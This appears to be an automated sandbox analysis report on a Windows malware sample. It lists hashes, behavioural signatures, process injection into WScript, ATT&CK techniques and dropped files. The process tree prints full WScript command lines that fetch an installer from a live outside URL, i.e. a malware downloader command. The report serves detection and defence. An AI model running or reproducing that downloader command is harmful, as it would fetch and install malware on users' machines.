8581dee0c6161056c182d528e6a07c28ee77d3bc372733055c8a257677099dcf

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
11-05-2024 11:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe
Size

184KB
MD5

345178b7b39cc1ed9c3207feee3eb96c
SHA1

ae064f76eaf59538267adbacf38f5116783ed2cb
SHA256

8581dee0c6161056c182d528e6a07c28ee77d3bc372733055c8a257677099dcf
SHA512

72034603aba9ab74635060d4aa20a6d66b6350f0fbd11998d455e6b8a772a8ec824dfed28f36ccf96fba11d785460daa5724ba2bfcf2a3641939dd4c065faff8
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO37:/7BSH8zUB+nGESaaRvoB7FJNndnq

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow	pid	process
6	3056	WScript.exe
8	3056	WScript.exe
10	3056	WScript.exe
13	1660	WScript.exe
14	1660	WScript.exe
16	1752	WScript.exe
17	1752	WScript.exe
19	1232	WScript.exe
20	1232	WScript.exe
22	2012	WScript.exe
23	2012	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2760 2228 WerFault.exe 345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

pid	pid_target	process	target process
2760	2228	WerFault.exe	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe

description	pid	process	target process
PID 2228 wrote to memory of 3056	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 3056	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 3056	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 3056	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1660	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1660	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1660	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1660	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1752	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1752	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1752	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1752	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1232	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1232	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1232	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 1232	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 2012	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 2012	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 2012	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 2012	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WScript.exe
PID 2228 wrote to memory of 2760	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WerFault.exe
PID 2228 wrote to memory of 2760	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WerFault.exe
PID 2228 wrote to memory of 2760	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WerFault.exe
PID 2228 wrote to memory of 2760	2228	345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\345178b7b39cc1ed9c3207feee3eb96c_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2228

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA9B.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufA9B.exe
2⤵
- Blocklisted process makes network request
PID:3056

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA9B.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufA9B.exe
2⤵
- Blocklisted process makes network request
PID:1660

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA9B.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufA9B.exe
2⤵
- Blocklisted process makes network request
PID:1752

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA9B.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufA9B.exe
2⤵
- Blocklisted process makes network request
PID:1232

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufA9B.js" http://www.djapp.info/?domain=MstxoKbGeA.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=J_lbzRQbZuXNkEhP-MAPjQiodRIIVA0RmGYrhLIFYhRn3mR0fhGFWYMOySy1fpgP3Tqr4GalSgF027qeVQko4W8ARNmNAMCdXMWAnI7ZWcJfndWFTQ8Ceizxfr7RVJSNKY6xJX C:\Users\Admin\AppData\Local\Temp\fufA9B.exe
2⤵
- Blocklisted process makes network request
PID:2012

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2228 -s 612
2⤵
- Program crash
PID:2760

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
1KB

MD5
57b1b5453fd21a15ec32fee93515efbe

SHA1
71b7fea3000a04bee4b875834101cc64ddccc72b

SHA256
c4f6569e2a98b4523a8a772c1d55461e9e3415712bb423e9d8ba1b70ac509aa2

SHA512
4eee10ed4dc800964073ac65d2569e1713a0d0539ac275ff511c06bdcca63f2b2c8cf59961bdf63406277931360f39657526d56e453f5b097b897882e2a2e8cc

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
Filesize
410B

MD5
e3c1acfc0e71a2ca62db0a930c107ad1

SHA1
183b56ef268dee947e37ca267032d2593b907773

SHA256
8e640ab055c368da34f686d778d3575f467e7ef9734c695bf96b63ee2e052881

SHA512
49e7ecaecb850e23dfb2ac5b75b6a81b5f66cf0473bbc4fc7c6f509c344eb32bf263fe255e2f64d6d2677a1400731f3d59cf3ecf18ca1ebae2b7fa16e62a98d7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
fd185e33d2967de285e7dec08a4dec5c

SHA1
834b7492b6ed38e27e6bee37d22909a22cb6dda8

SHA256
f75b746c47ab7547f1e2bd2efafb92f2f838adbdd2547b791d36d692cdb12ade

SHA512
0351cd984e3be29519d81a79a25d5c3fa2b1e6fdc4415d08c164286f30d9f96c698477ecd93a9f55ef825ed4cccba684b43460f99e05ab7cb78374d9d3830814

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464
Filesize
392B

MD5
e525340d414782386f907854a486dd33

SHA1
5145e76578aea7a20c62193fd23427feb9187039

SHA256
e5efc4e2dc95c1e760beab4af7616d56138f8a9c678d620460d1f0b7998f7998

SHA512
7f3b67b9f34342b2ece6842ce3c9314b48d5f11b932bf13f57419db48adf73adaec231b79ad80d935b6dbb2ea72ed2fbc52e1521607026bbdcae04ec1749b6ba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm
Filesize
40KB

MD5
f9e6cf0125f0777849d4414bc05a8797

SHA1
9dc2000cbfec46b3a061f3a6026b4e172b82c9b4

SHA256
e521ed61b855d5c153ee9264bb678f9b4c2cb1e0a274722c26669833347d1fd0

SHA512
729b7025d0fcbb6badedf5eeacc4774c904122848fac7f048c11d57aa897fc6d3fa48405eab0294850fd392cb047c7d99c63c979bf071d39a3d5371fe1bd6855

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\902LKC6A\domain_profile[1].htm
Filesize
40KB

MD5
41282b89f658dd20c299e3c399f106a6

SHA1
15d976f9cd006d831775b3e20b3d0cbc9d766486

SHA256
e35045514e4e4d5fbda7e7215b452fd4f3e14cbac3059279551e8de4e8b6f6e6

SHA512
1d91b16eb9dcc5c581edb3822cccfc43898d6f5b6ccc2419dafdcb0f010ffb09f0a67c9963154bdf0774a5ac4a24797b5da16f94d173054f8ff247da66b6b8c9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm
Filesize
40KB

MD5
4095b1dcac1299d42a0559c46a697a12

SHA1
e35810ad5803a23e02ae86b193e0daa491271113

SHA256
8bc369b5e3c76ca3f67e81738c8051804b5ecae309908606a8fd94758c3548cd

SHA512
3df87e8829b337fcbd92f3d4ab00d194526f6c506b99a6eb1b2fb27e8a1c0980ed0017c5597c0ff8c7d4dcaac639ec1d4cd0583fef61e419b8616ea6effc2b22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\OOWQLMJV\domain_profile[1].htm
Filesize
40KB

MD5
8b5aba9a30eebb25750d9182a5e30b0d

SHA1
9e0b488a06bccf33be077d60423c40bb0bc9f013

SHA256
c70e451dca30958f2c4703b53052788a0733900b3e44c331e891a269a9bb49a9

SHA512
e13329d0bc761a1c48ec48f502bd76a9003ecd7079bf0f9293698fe3083a2b785af574d627cd7cb355d94c0d5f5d328b3bf35efcffec76e832582453bbd2ee47

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab8382.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar9BB4.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fufA9B.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\QAY1QOJD.txt
Filesize
177B

MD5
07981ba1690b0983c209e6c47a8730b6

SHA1
06ba69ed6e79a853a5c024ae68dd6fff76fe908c

SHA256
88bccb531dd2f2217e984c964d690898806cfbde201ffc054f9edebcc243b25f

SHA512
7d67e05d716658d8e1a28968240b19e340f587c2f7e69417952efadcf27ae6f83eb2f8cd59ebc47bf887fb2ea34d3c357d6b961bba21ef135c9db62e22c92985

Download Submit